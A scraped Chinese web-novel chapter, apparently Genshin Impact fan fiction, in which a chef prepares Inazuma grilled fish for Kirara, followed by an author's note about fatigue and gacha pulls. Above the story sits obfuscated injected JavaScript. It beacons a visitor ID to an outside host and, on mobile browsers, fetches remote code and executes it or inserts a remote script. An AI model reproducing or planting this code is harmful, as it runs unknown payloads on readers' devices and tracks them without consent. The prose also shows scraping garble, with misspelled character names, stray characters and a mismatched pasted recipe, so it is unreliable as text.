第487章 烹饪稻妻烤鱼(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
绮良良再怎么也没有,想到在这看起来十分普通的柜子里面竟然藏着凤凰蛋,而且看起来还有好几颗的样子。
不过苏沐风并不是来取走这些凤凰蛋的,因为制作稻妻烤鱼并不需要用到凤凰蛋,只有苏沐风突发奇想,想要炒一些蛋炒饭来吃的时候才会来取这些从夏尔大陆买来的凤凰蛋。
推开这几颗凤凰蛋,苏沐风打开另一个橱柜,从里面取出了一瓶酿制了很久的冰雾杜康酒。
将这一坛酒拿出来放在一旁,然后打开上面的盖子从里面舀了一碗浓香四溢的杜康酒放在一旁备用,这也是制作稻妻烤鱼一样重要的调料。
一切准备工作就绪之后,苏沐风是开始干劲十足的烹饪,起了稻妻烤鱼。
只见他挥手一台手中的风鹰菜刀片转了几个刀花,然后轻轻一挑,便是将身板上的肥鱼给拍飞起来。
绮良良仰着自己的猫猫头,小嘴惊讶的张开,就这样看着苏沐风将那一条肥鱼挑到半空。
那条肥鱼的身躯也因为苏沐风的动作在空中不停摇摆,身上的闪亮鱼鳞也是在倒映着厨房的灯光,看上去十分耀眼。
随后风鹰菜刀刷刷刷的转了几圈,在绮良良惊讶的目光当中,,那条肥鱼便是以肉眼根本无法捕捉的速度被快速切割开来。
在肥鱼落到砧板上的瞬间,它变成一朵盛开的荷花一样,鱼肉朝着周围快速散开。
哗的一声,被剥光了鱼鳞的飞鱼便是稳稳当当的落在了砧板之上,所有的鱼鳞、骨头都被处理的一干二净。
而且绮良良此时也看的一阵惊讶,小脸更是因为激动,变得红扑扑的。
她本以为,异世界餐厅的烹饪方法不会与普通的烹饪方法有什么太大的区别,现在看来是她想简单了。
苏沐风的这一套刀法简直就是惊为天人,这也让起来能意识到,原来招工还有这么多的花样,看上去实在是华丽又酷炫。
下一个是苏沐风手指微微一跳,顿时风鹰菜刀变成在他手中,像是有生命一般自动旋转起来,那条肥鱼也是像听从苏沐风的命令一样,很自觉的让自己的身体抖动着。
很快那条肥鱼便被处理的十分干净,只剩下一颗鱼脑袋以及粘连在上面的鱼肉。
切割完成之后苏牧方便是先用菜刀在切好的鱼肉上面拍了拍,让它的肉质更加q弹。
将鱼肉剔净皮后,苏沐风将自己的手指像闪电一样在上面快速的移动着,将里面一根根细腻的鱼刺全部剔除出来。zx.r
处理完一次之后,他这才开始接下来的正式操作。
将其快速的切成5厘米长、2.5厘米宽、0.5厘米厚的片,然后将每只大虾肉去沙线,沿背一刀片开成两片。
然后才将鲜蘑、番茄切片;芹菜、洋葱、胡萝卜去根洗净,将洋葱、胡萝卜和柠檬50克均切片,芹菜拍松、切段一起入锅,加入香叶,精盐、胡椒碎、清水,烧开5分钟,下入鱼肉片、大虾片、鲜蘑菇煮熟,捞入漏勺备用。
将菠菜叶洗净烫软,排顺挤尽水分,切成段,起锅烧油爆炒之后将其放在一旁,装入碗中备用。
苏沐风又起来一个烤斗,在烤斗内浇一层溶化的黄油20克,铺上一层菠菜段,浇一层蛋黄少司,上面依次码上鱼片、鲜蘑片、大虾片、番茄片排好。
随后,苏木蜂揭开放在那,装有冰雾杜康酒碗上的盖子,霎时间,浓香至极的酒香味便是从那青花瓷碗中蔓延开来,酒香纯韵无比。
这一盘冰乌杜康酒是苏沐风好久之前酿造的了,因为放在系统空间内忘记取出来,所以也是味道最为浓郁的一坛。
要不是因为这是第一次烹饪稻妻烤鱼,苏沐风才舍不得拿出来,当然,也因为绮良良看上去十分可爱,所以苏沐风才不想自己的第一次让她失望。
这道酒香一飘出,就连不喝酒的绮良良,也是十分陶醉的闭上眼睛,深深的嗅了嗅,整个人都觉得有些飘飘然。
好香啊,这世界上怎么会有这么香的酒?之前无论在哪个国家,都从来没有见到过这么香的酒。
绮良良下意识的吞了一下唾沫,心中甚至生出了想要尝一尝这酒味道的念头。只不过转了一下,用这种好的酒来烹饪菜品,是不是有点太浪费了?
不过在认真烹饪菜品时的苏沐风并没有注意到绮良良的表情变化。而是将这一碗酒轻轻的洒在那条鱼肉上面。
做好这一步后,苏沐风才取过来提前准备好的蛋黄与起司,再在烤鱼上面刷上一层蛋黄起司,浇上余下的溶化的黄油。将另外25克柠檬切扇形片,放入烤斗围成一圈,将烤鱼精心的装饰了一番。
绮良良看的也是有些疑惑……他还从来没有听说过稻妻特色料理,会有这样的烹饪方法。
不过一想到这是异世界餐厅倒也觉得没什么了。只是单单觉得很神奇而已。
苏沐风没有理会一旁激动的差点跳起来的情男人,而是小心翼翼的将这个烤斗慢慢的放入面前的烤炉,让所有食材与烤鱼一同进入烤炉,并且凝聚自己强悍的精神力,观察烤鱼的状况,确保其能够的恰到好处。
.................................
.................................
.................................
ps:好累啊,每天都坚持两本书两更,加起来就是四更,接近一万字,如果不是有历史记载,我都认为长城是我一夜之间搭建的,真的累死了。
另外大家有没有抽到优菈?反正作者君抽完,就已经被优菈榨的一滴都不剩了,水神只能随缘抽了,毕竟我小月卡都没有。
有一说一,优菈的大腿,真的是提瓦特大陆极品,要是被坐一下……